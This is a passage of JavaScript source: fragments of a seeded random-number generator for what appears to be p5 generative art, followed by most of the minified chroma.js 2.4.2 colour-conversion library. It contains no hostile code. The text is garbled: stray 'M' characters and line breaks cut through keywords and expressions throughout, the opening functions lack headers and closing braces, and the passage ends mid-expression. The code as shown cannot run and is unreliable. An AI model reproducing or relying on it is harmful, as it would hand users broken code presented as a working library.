      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
